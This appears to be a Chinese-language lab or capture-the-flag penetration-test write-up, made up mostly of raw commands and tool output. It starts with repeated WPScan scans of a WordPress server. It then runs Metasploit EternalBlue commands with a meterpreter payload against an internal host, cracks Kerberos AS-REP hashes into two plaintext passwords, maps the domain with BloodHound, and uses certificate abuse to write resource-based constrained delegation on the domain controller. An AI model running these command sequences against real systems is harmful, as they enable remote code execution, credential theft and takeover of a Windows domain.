WordPress Security Scanner by the WPScan Team Version 3.8.28 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[+] URL: http://39.99.151.78/ [39.99.151.78] [+] Started: Fri Aug 2900:42:162025
[+] XML-RPC seems to be enabled: http://39.99.151.78/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence:100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://39.99.151.78/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence:100%
[+] Upload directory has listing enabled: http://39.99.151.78/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence:100%
[+] The external WP-Cron seems to be enabled: http://39.99.151.78/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence:60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.2.7 identified (Outdated, released on 2025-08-05). | Found By: Rss Generator (Passive Detection) | - http://39.99.151.78/index.php/feed/, <generator>https://wordpress.org/?v=6.2.7</generator> | - http://39.99.151.78/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.2.7</generator>
[+] WordPress theme inuse: twentytwentyone | Location: http://39.99.151.78/wp-content/themes/twentytwentyone/ | Last Updated:2025-08-05T00:00:00.000Z | Readme: http://39.99.151.78/wp-content/themes/twentytwentyone/readme.txt | [!] The version is out of date, the latest version is 2.6 | Style URL: http://39.99.151.78/wp-content/themes/twentytwentyone/style.css?ver=1.8 | Style Name: Twenty Twenty-One | Style URI: https://wordpress.org/themes/twentytwentyone/ | Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version:1.8 (80% confidence) | Found By: Style (Passive Detection) | - http://39.99.151.78/wp-content/themes/twentytwentyone/style.css?ver=1.8, Match: 'Version:1.8'
[!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with25 daily requests by registering at https://wpscan.com/register
[+] Finished: Fri Aug 2900:42:202025 [+] Requests Done:170 [+] Cached Requests:5 [+] Data Sent:43.441 KB [+] Data Received:465.457 KB [+] Memory used:256.555 MB [+] Elapsed time:00:00:04
WordPress Security Scanner by the WPScan Team Version 3.8.28 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[+] URL: http://39.99.151.78/ [39.99.151.78] [+] Started: Fri Aug 2900:42:012025
[+] XML-RPC seems to be enabled: http://39.99.151.78/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence:100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://39.99.151.78/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence:100%
[+] Upload directory has listing enabled: http://39.99.151.78/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence:100%
[+] The external WP-Cron seems to be enabled: http://39.99.151.78/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence:60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.2.7 identified (Outdated, released on 2025-08-05). | Found By: Rss Generator (Passive Detection) | - http://39.99.151.78/index.php/feed/, <generator>https://wordpress.org/?v=6.2.7</generator> | - http://39.99.151.78/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.2.7</generator>
[+] WordPress theme inuse: twentytwentyone | Location: http://39.99.151.78/wp-content/themes/twentytwentyone/ | Last Updated:2025-08-05T00:00:00.000Z | Readme: http://39.99.151.78/wp-content/themes/twentytwentyone/readme.txt | [!] The version is out of date, the latest version is 2.6 | Style URL: http://39.99.151.78/wp-content/themes/twentytwentyone/style.css?ver=1.8 | Style Name: Twenty Twenty-One | Style URI: https://wordpress.org/themes/twentytwentyone/ | Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version:1.8 (80% confidence) | Found By: Style (Passive Detection) | - http://39.99.151.78/wp-content/themes/twentytwentyone/style.css?ver=1.8, Match: 'Version:1.8'
# 获取meterpreter use exploit/windows/smb/ms17_010_eternalblue set proxies socks5:127.0.0.1:55556 set payload windows/x64/meterpreter/bind_tcp_uuid set RHOSTS 172.22.15.24 set lport 54524 run
# 单个命令执行 use auxiliary/admin/smb/ms17_010_command set rhosts 172.22.15.24 set command whoami run
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt # 或者 hashcat hash.txt /usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1qaz2wsx ($krb5asrep$23$huachunmei@XIAORANG.LAB) winniethepooh ($krb5asrep$23$lixiuying@XIAORANG.LAB) 2g 0:00:00:00 DONE (2025-08-28 21:25) 100.0g/s 153600p/s 256000c/s 256000C/s slimshady..dangerous Use the "--show" option to display all of the cracked passwords reliably Session completed.
SharpHound.exe -c all # 或者 proxychains4 bloodhound-python -c all -u lixiuying -p winniethepooh -d xiaorang.lab -ns 172.22.15.13--zip--dns-tcp
基于资源的约束委派（Resource-Based Constrained Delegation，RBCD）是在Windows Server 2012中新引入的功能。与传统的约束委派相比，它将设置委派的权限交还给了服务资源自身，也就是说服务自己可以决定“谁可以对我进行委派。”基于资源的约束委派的关键在于msDS-AllowedToActOnBehalfOfOtherIdentity属性的设置。
[proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities: [*] SAN DNS Host Name: 'XR-DC01.xiaorang.lab' [*] Using principal: 'xr-dc01$@xiaorang.lab' [*] Trying to get TGT... [proxychains] Strict chain ... 127.0.0.1:55556 ... 172.22.15.13:88 ... OK [-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type) [-] Use -debug to print a stacktrace [-] See the wiki for more information
proxychains python3 passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 [proxychains] Strict chain ... 127.0.0.1:55556 ... 172.22.15.13:636 ... OK [*] You are logged in as: XIAORANG\XR-DC01$
下一步将证书配置到域控的 RBCD
1 2 3 4 5 6 7 8 9
proxychains python3 passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from 'matrix1$' [proxychains] Strict chain ... 127.0.0.1:55556 ... 172.22.15.13:636 ... OK [*] Accounts allowed to act on behalf of other identity: [*] xianxin$ (S-1-5-21-3745972894-1678056601-2622918667-1147) [*] Delegation rights modified successfully! [*] matrix1$ can now impersonate users on XR-DC01$ via S4U2Proxy [*] Accounts allowed to act on behalf of other identity: [*] xianxin$ (S-1-5-21-3745972894-1678056601-2622918667-1147) [*] matrix1$ (S-1-5-21-3745972894-1678056601-2622918667-1150)
